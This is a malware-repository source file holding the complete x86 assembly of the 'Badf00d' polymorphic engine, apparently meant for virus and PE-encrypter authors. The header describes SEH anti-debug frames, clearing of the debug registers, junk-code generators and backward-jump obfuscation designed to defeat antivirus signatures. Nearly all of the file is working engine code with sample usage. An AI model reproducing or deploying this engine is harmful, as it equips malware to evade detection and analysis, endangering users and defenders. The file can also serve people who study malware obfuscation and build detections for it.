MalwareSourceCode/Engines/Virus.Win32.badf00d.asm
2020-10-09 21:50:53 -05:00

991 lines
24 KiB
NASM

comment $
\`. |\
\`-. \ `.| \!,,
\ \ `.\ _ (__
_ `-.> \ ___ \ __ ------------------------------------------
`-/,o-./O `. ._` Badf00d Polymorphic Engine
-// j_ | `` _<` ------------------------------------------
|\__( \--' ' \ . by Piotr Bania <bania.piotr@gmail.com>
> _ `--' _/ ; http://pb.specialised.info
| / `----.. . / (
| ( `. Y )
\ \ ,-.-.| |_ (_
`.`.___\ \ \/=.`. __) a little bit of this,
`--,==\ )==\,\ (_ a little bit of that
,'\===`--'====\,\ `-.
,'.` ============\,\ (`-'
/`=.`Y=============\,\ .'
/`-. `|==============\_,-._
/`-._`=|=___=========,'^, c-)
\`-----+' ._)=====_(_`-' ^-'`-.
-----`=====, \ `.-==(^_ ^c_,.^ `^_\-----
(__/`--'('(_,-._)-._,-.,__)`) hjw
`-._`._______.'_.-'
`---------'
Disclaimer__________________________________________________________________________________]
Author takes no responsibility for any actions with provided informations or codes.
The copyright for any material created by the author is reserved. Any duplication of
codes or texts provided here in electronic or printed publications is not permitted
without the author's agreement. If you disagree - leave now!
Introduction________________________________________________________________________________]
I must confess i was pretty bored and that's why i have written this engine. Meanwhile
i was also thinking about some PE encrypter, so sooner or later i got to produce some
poly engine for it. This little thingie was written in 2 days (few hours each day).
Current version is super beta, drop me an mail if you will find any errors.
Features____________________________________________________________________________________]
+ SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
registry usage, random size of garbage block (return address is calculated via size
of the generated junks), generated SEH block looks like this:
* SNIP *
00402814 E8 3D000000 CALL pol.00402856
00402819 8BD4 MOV EDX,ESP ; generated REG
0040281B 81C2 0C000000 ADD EDX,0C
00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]
00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0
0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0
00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
00402855 C3 RETN
00402856 33C9 XOR ECX,ECX
00402858 64:FF31 PUSH DWORD PTR FS:[ECX]
0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP
0040285E CC INT3
0040285F AF SCAS DWORD PTR ES:[EDI]
00402860 C8 50C933 ENTER 0C950,33
00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A
* SNIP *
As you can see doing only regswaping is not a good solution (still signature can be
generated - look RegSwap virus description), prolly it is better to mix randomly SEH
instructions with garbage. Use your imagination.
+ safe garbage generator (generates stepable garbage code, moreover user can specyfi
what registers should be used and what should be not, this feature gives an
advantage to mix original code together with garbage code, without destroying the
values from orginal one), like this snipet shows:
* SNIP - ALL REGS ALLOWED *
00402814 F7D2 NOT EDX
00402816 D1D3 RCL EBX,1
00402818 9B WAIT
00402819 9B WAIT
0040281A D1F9 SAR ECX,1
0040281C 93 XCHG EAX,EBX
0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9
00402823 F9 STC
00402824 81EF 73D13C4E SUB EDI,4E3CD173
0040282A 3BC7 CMP EAX,EDI
0040282C FD STD
0040282D 2BC6 SUB EAX,ESI
0040282F 57 PUSH EDI
00402830 81C9 6FA7215F OR ECX,5F21A76F
00402836 33F3 XOR ESI,EBX
00402838 F7D8 NEG EAX
0040283A 1BCE SBB ECX,ESI
* SNIP - ALL REGS ALLOWED *
* SNIP - ALLOWED EAX/EBX *
00402814 F7DB NEG EBX
00402816 F7D0 NOT EAX
00402818 85C3 TEST EBX,EAX
0040281A F8 CLC
0040281B 90 NOP
0040281C C7C3 BB153882 MOV EBX,823815BB
00402822 F7D8 NEG EAX
00402824 09DB OR EBX,EBX
00402826 D1D3 RCL EBX,1
00402828 D1D8 RCR EAX,1
0040282A EB 00 JMP SHORT pol.0040282C
0040282C 81EB 011DAF21 SUB EBX,21AF1D01
00402832 81E8 3BB25C3B SUB EAX,3B5CB23B
00402838 F8 CLC
* SNIP - ALLOWED EAX/EBX *
+ hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
or totaly randomized - this one will be never executed), like here:
* SNIP - SOME GARBAGE CODE *
00402810 EB 14 JMP SHORT pol.00402826
00402812 CB RETF
00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
0040281D F2: PREFIX REPNE:
0040281E 4B DEC EBX
0040281F 85FF TEST EDI,EDI
00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX
00402827 0C C8 OR AL,0C8
* SNIP - SOME GARBAGE CODE *
+ backwards jumps generator (generates some funny jumps :))
* SNIP *
0040280C EB 3A JMP SHORT pol.00402848
0040280E 33FE XOR EDI,ESI
00402810 EB 3B JMP SHORT pol.0040284D
00402812 AE SCAS BYTE PTR ES:[EDI]
00402813 ^73 C8 JNB SHORT pol.004027DD
00402815 71 13 JNO SHORT pol.0040282A
00402817 90 NOP
00402818 5E POP ESI
00402819 C2 AFE0 RETN 0E0AF
0040281C BB 8406103D MOV EBX,3D100684
00402821 60 PUSHAD
00402822 E5 77 IN EAX,77
00402824 2AC4 SUB AL,AH
00402826 59 POP ECX
00402827 3E:5C POP ESP
00402829 0E PUSH CS
0040282A 67:73 7A JNB SHORT pol.004028A7
0040282D AF SCAS DWORD PTR ES:[EDI]
0040282E 27 DAA
0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL
00402835 5D POP EBP
00402836 52 PUSH EDX
00402837 D9FB FSINCOS
00402839 ^E1 BD LOOPDE SHORT pol.004027F8
0040283B 4E DEC ESI
0040283C 53 PUSH EBX
0040283D 4D DEC EBP
0040283E 62D6 BOUND EDX,ESI
00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]
00402844 07 POP ES
00402845 56 PUSH ESI
00402846 7A 15 JPE SHORT pol.0040285D
00402848 9B WAIT
00402849 ^EB C5 JMP SHORT pol.00402810
0040284B 6E OUTS DX,BYTE PTR ES:[EDI]
0040284C 45 INC EBP
* SNIP *
TODO________________________________________________________________________________________]
+ code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
+ add some checksum checker routines
+ code new engine :))
Sample_usage________________________________________________________________________________]
* SNIP *
call random_setup ; set seed
mov ecx,30 ; loop counter
lea edi,temp_buff ; EDI = where to store
gen_it:
mov eax,3
call random_eax ; give random
cmp eax,0
je skip_jmp
cmp eax,1
je skip_sehs
call t_normalize_pops ; normalize stack before SEHs
add edi,eax
call gen_seh ; generate SEHs
add edi,eax ; add edi,generated_code_size
skip_sehs:
call gen_bjumps ; generate backwards jumps
add edi,eax ; add edi,generated_code_size
skip_jmp:
mov eax,2
call random_eax ; give random
test eax,eax
jnz gen_it2
call gen_garbage_i ; generate some stepable junk
jmp loopers
gen_it2:
call hardcode_garbage_i ; generate some hard junks
loopers:
add edi,eax ; add edi,generated_code_size
loop gen_it
call t_normalize_pops ; normalize stack if it wasn't
add edi,eax ; normalized
* SNIP *
Have phun,
Piotr Bania
$
M0_EAX equ 0
M0_ECX equ 1
M0_EDX equ 2
M0_EBX equ 3
M0_ESI equ 4
M0_EDI equ 5
M1_EAX equ 0
M1_ECX equ 1
M1_EDX equ 2
M1_EBX equ 3
M1_ESI equ 6
M1_EDI equ 7
M2_EAX equ 0 shl 3
M2_ECX equ 1 shl 3
M2_EDX equ 2 shl 3
M2_EBX equ 3 shl 3
M2_ESI equ 6 shl 3
M2_EDI equ 7 shl 3
; -------------- MAIN REGISTERS TABLES ----------------------------------------
x1_table: db M1_EAX
db M1_ECX
db M1_EDX
db M1_EBX
db M1_ESI
db M1_EDI
x1_tbl_size = $ - offset x1_table
x2_table: db M2_EAX
db M2_ECX
db M2_EDX
db M2_EBX
db M2_ESI
db M2_EDI
x2_tbl_size = $ - offset x2_table
; -------------- INSTRUCTION TABLES -------------------------------------------
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
; <OPCODE> <MODRM> <LEN> <CSET>
;
; if there is no MODRM, MODRM must be set to 2Dh (temp)
NO_M equ 02dh
C_NONE equ 0
C_SRC equ 1
C_DST equ 2
C_BOTH equ 3
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
db 03bh, 0c0h, 2h, C_BOTH
db 085h, 0c0h, 2h, C_BOTH
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
db 090h, NO_M, 1h, C_NONE ; nop
db 0fch, NO_M, 1h, C_NONE ; cld
db 0f8h, NO_M, 1h, C_NONE ; clc
db 0fdh, NO_M, 1h, C_NONE ; std
db 09bh, NO_M, 1h, C_NONE ; wait
db 050h, NO_M, 1h, C_SRC ; push reg(eax)
_i_pop db 058h, NO_M, 1h, C_SRC ; pop reg(eax) (must be last one)
ENTRY_TABLE_SIZE = 4
instr_table_size = (($-offset instr_table)/4)
dd 0
push_number dd 0
do_push db 1 ; should we process pushs?
O_JMP equ 0EBh
O_PUSH equ 050h
O_POP equ 058h
i_jmp: db 0EBh, NO_M, 2h ; jmp $+1
; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
; EDI = where
; ----------------------------------------------------------------------------
gen_garbage_i:
pushad
garbage_again:
mov eax,instr_table_size
call random_eax
lea esi,instr_table
mov ecx,ENTRY_TABLE_SIZE
mul ecx ; eax=member from table to use
add esi,eax
jmp garbage_co
garbage_hand: pushad
garbage_co: lodsw ; ah = modrm value / al=opcode
cmp ah,NO_M
je no_modrm
stosb ; store opcode
xor edx,edx
mov dl,ah
cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_01
cmp byte ptr [esi+1],C_SRC
jne t_01
p_01: and dl,0F8h
mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
or dl,al
mov byte ptr [edi],dl
t_01: cmp byte ptr [esi+1],C_BOTH ; what registers to mutate
je p_02
cmp byte ptr [esi+1],C_DST
jne finish_i
p_02: and dl,0C7h
mov eax,x2_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x2_table[eax]]
or dl,al ; update modrm value
mov byte ptr [edi],dl
finish_i: mov cl,byte ptr [esi]
sub cl,2
inc edi
cmp cl,0
jle garbage_done
store_op: mov eax,12345678h
call random_eax
stosb
loop store_op
garbage_done: xor eax,eax
mov al,byte ptr [esi]
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; ----------------------------------------------------
; NO MOD-RMs
; ----------------------------------------------------
no_modrm: xor edx,edx
mov dl,al
cmp byte ptr [esi+1],C_NONE
je t_none
cmp dl,O_PUSH
je t_push
cmp dl,O_POP
je t_pop
go_nomodrm: mov eax,x1_tbl_size
call random_eax
mov al,byte ptr [allowed_regs[eax]]
mov al,byte ptr [x1_table[eax]]
and dl,0F8h
or dl,al
mov byte ptr [edi],dl
inc edi
jmp finish_i
t_none: mov byte ptr [edi],dl
inc edi
cmp dl,O_JMP
jne finish_i
mov byte ptr [edi],0
inc edi
jmp finish_i
t_push: cmp byte ptr [do_push],1
jne garbage_again
inc dword ptr [push_number]
jmp go_nomodrm
t_pop: cmp byte ptr [do_push],1
jne garbage_again
cmp dword ptr [push_number],0
jle garbage_again
dec dword ptr [push_number]
jmp go_nomodrm
t_normalize_pops:
pushad
xor ebx,ebx
mov ecx,dword ptr [push_number]
test ecx,ecx
jz t_opsexit
t_givepops: lea esi,_i_pop
call garbage_hand
add edi,eax
add ebx,eax
loop t_givepops
t_opsexit: mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
; ---------------------------------------------------------------------------
; HARDCORE GARBAGER
; ---------------------------------------------------------------------------
; EDI = where to store
;
; This one generates code like this:
; jmp over_garbage
; <totaly random generated garbage>
; <normal garbage>
; max: up to 20 "instructions"
; ---------------------------------------------------------------------------
hardcode_garbage_i:
pushad
mov ebx,edi
lea edi,hardcore_temp
mov eax,20
call random_eax
mov ecx,eax
add ecx,4
h_fill: mov eax,2
call random_eax
test eax,eax
jnz h_hard
call gen_garbage_i
jmp h_cont
h_hard: mov eax,5
call random_eax
mov edx,eax
inc edx
xor esi,esi
h_hard_fill: mov eax,0FFFFh
call random_eax
stosb
inc esi
dec edx
jnz h_hard_fill
loop h_fill
jmp h_done
h_cont: add edi,eax
loop h_fill
h_done: lea ecx,hardcore_temp
sub edi,ecx
mov ecx,edi
mov byte ptr [ebx],O_JMP
inc ebx
mov byte ptr [ebx],cl
inc ebx
push ecx
mov edi,ebx
lea esi,hardcore_temp
rep movsb
pop eax
add eax,2
mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
; -------------------------------------------------------------
; Generates backwards jumps
; -------------------------------------------------------------
; EDI = buffor
gen_bjumps:
pushad
mov ebx,edi
mov byte ptr [jmp_flag],0
mov byte ptr [jmp_flag_b],0
mov dword ptr [count_jmp],0
mov dword ptr [where_where],0
mov dword ptr [jmp_bytes],0
mov byte ptr [do_push],0
mov byte ptr [where_losed],0
mov byte ptr [ebx],O_JMP
mov dword ptr [where_start],ebx
add dword ptr [where_start],2
inc ebx
xor esi,esi
add edi,2
add dword ptr [jmp_bytes],2
gen_gar_i: mov eax,20
call random_eax
mov ecx,eax
add ecx,10
gen_gar_ii: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add esi,eax
add edi,eax
cmp byte ptr [jmp_flag],1
jne gen_gari_ix
add dword ptr [count_jmp],eax
jmp gen_gari_ixx
gen_gari_ix: push eax
mov eax,2
call random_eax
mov edx,eax
pop eax
cmp byte ptr [where_losed],1
je gen_gari_ixx
add dword ptr [where_start],eax
cmp edx,1
je gen_gari_ixx
mov byte ptr [where_losed],1
gen_gari_ixx: mov eax,3
call random_eax
cmp eax,2
jne cont_gari
cmp byte ptr [jmp_flag],1
je cont_gari
mov byte ptr [jmp_flag],1
mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
add esi,2
cont_gari: loop gen_gar_ii
mov eax,esi
mov byte ptr [ebx],al
cmp byte ptr [jmp_flag],1
je cont_gari2
mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
cont_gari2: mov dword ptr [where_where],edi
add dword ptr [jmp_bytes],2
mov eax,5
call random_eax
inc eax
mov ecx,eax
cont_gari3: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add edi,eax
add dword ptr [count_jmp],eax
loop cont_gari3
mov byte ptr [edi],O_JMP
mov eax,edi
sub eax,dword ptr [where_start]
add eax,2
neg eax
pushad
add edi,2
mov eax,4
call random_eax
mov ecx,eax
test ecx,ecx
jz cont_gari4
place_gar: mov eax,0FFh
call random_eax
inc dword ptr [count_jmp]
inc dword ptr [jmp_bytes]
stosb
loop place_gar
cont_gari4: add dword ptr [count_jmp],2
mov eax,dword ptr [count_jmp]
mov edx,dword ptr [where_jmp]
mov byte ptr [edx],al
popad
mov byte ptr [edi+1],al
add dword ptr [jmp_bytes],2
mov edx,dword ptr [where_where]
sub edx,dword ptr [where_jmp]
dec edx
mov ecx,edx
mov edx,dword ptr [where_jmp]
inc edx
cmp ecx,0
jle cont_no_xor
cont_xor: mov eax,0FFh
call random_eax
xor byte ptr [edx],al
inc edx
loop cont_xor
cont_no_xor: mov byte ptr [do_push],1
mov edx,dword ptr [jmp_bytes]
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
jmp_bytes dd 0
where_losed db 0
where_where dd 0
where_start dd 0
count_jmp dd 0
where_jmp dd 0
jmp_flag db 0
jmp_flag_b db 0
; -------------------------------------------------------------
; Generates SEH frames/exceptions/etc.
; -------------------------------------------------------------
; EDI = buffor
FS_PREFIX equ 064h
seh_push_fs db 0ffh, 030h, 2h, C_SRC
seh_mov_fs db 089h, 020h, 2h, C_SRC
seh_pop_fs db 08fh, 000h, 2h, C_SRC
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
_add_dreg_num db 081h, 080h, 2h, C_SRC
exception_table:
db 0CCh ; int 3
db 0fah ; cli
db 0fbh ; sti
exception_table_size = $-offset exception_table
gen_seh:
pushad
xor edx,edx
mov ebx,edi
mov byte ptr [edi],0E8h
mov dword ptr [edi+1],0
add edx,5
add edi,5
push edi
lea esi,allowed_regs
mov ecx,x1_tbl_size
push esi
push ecx
lea edi,allowed_regs_temp
rep movsb
pop ecx
pop edi
pushad
mov eax,x1_tbl_size
call random_eax
cmp eax,M0_EAX
jne reg_p
inc eax ; somehow :) EAX usage results with invalid disposition error
reg_p: rep stosb
mov edi,[esp+PUSHA_STRUCT_SIZE]
lea esi,_mov_reg_esp
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_add_reg_num
call garbage_hand
add edi,2
mov dword ptr [edi],0Ch
add dword ptr [esp+PUSHA_STRUCT._EDX],6
add [esp+PUSHA_STRUCT_SIZE],6
add edi,4
lea esi,_mov_reg_oreg
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],04h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],08h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],12h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],16h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_add_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
add [esp+PUSHA_STRUCT_SIZE],0ah+1
add edi,2
mov dword ptr [edi],0b8h
add edi,4
mov dword ptr [where_over],edi
add edi,0ah-6
mov byte ptr [edi],0C3h ; ret
inc edi
popad
mov byte ptr [ebx+1],dl
sub byte ptr [ebx+1],5
mov eax,x1_tbl_size
call random_eax
rep stosb
pop edi
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_push_fs
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_mov_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
xor ebx,ebx
mov eax,exception_table_size
call random_eax
mov cl,byte ptr exception_table[eax]
mov byte ptr [edi],cl
inc edx
inc edi
inc ebx
call fill_trash
add edx,eax
add ebx,eax
add edi,eax
push edi
mov edi,dword ptr [where_over]
mov dword ptr [edi],ebx
pop edi
call finalize_seh
add edx,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
where_over dd 0
allowed_regs_temp db x1_tbl_size dup (0)
finalize_seh:
pushad
call gen_regs
xor edx,edx
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_pop_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
inc dword ptr [push_number]
lea esi,_i_pop
call garbage_hand
add edx,eax
add edi,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
fill_trash: pushad
xor ebx,ebx
mov eax,20
call random_eax
mov ecx,eax
test eax,eax
jz done_fill_trash
fill_trash_x: mov eax,0FFh
call random_eax
stosb
inc ebx
loop fill_trash_x
done_fill_trash:
mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
reset_regs:
pushad
lea esi,allowed_regs_temp
mov ecx,x1_tbl_size
lea edi,allowed_regs
rep movsb
popad
ret
gen_regs: pushad
mov eax,x1_tbl_size
call random_eax
lea edi,allowed_regs
mov ecx,x1_tbl_size
rep stosb
popad
ret
set_random: pushad
mov eax,6
call random_eax
cmp eax,5
jne not_set
call gen_bjumps
jmp le_set
not_set: xor eax,eax
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
random_setup proc
@callx GetTickCount
mov Random_Seed,eax
ret
random_setup endp
Random_Seed dd 0
random_eax proc
PUSH ECX
PUSH EDX
PUSH EAX
db 0Fh, 31h ; RDTSC
MOV ECX, Random_Seed
ADD EAX, ECX
ROL ECX, 1
ADD ECX, 666h
MOV Random_Seed, ECX
PUSH 32
POP ECX
CRC_Bit: SHR EAX, 1
JNC Loop_CRC_Bit
XOR EAX, 0EDB88320h
Loop_CRC_Bit: LOOP CRC_Bit
POP ECX
XOR EDX, EDX
DIV ECX
XCHG EDX, EAX
OR EAX, EAX
POP EDX
POP ECX
RETN
random_eax endp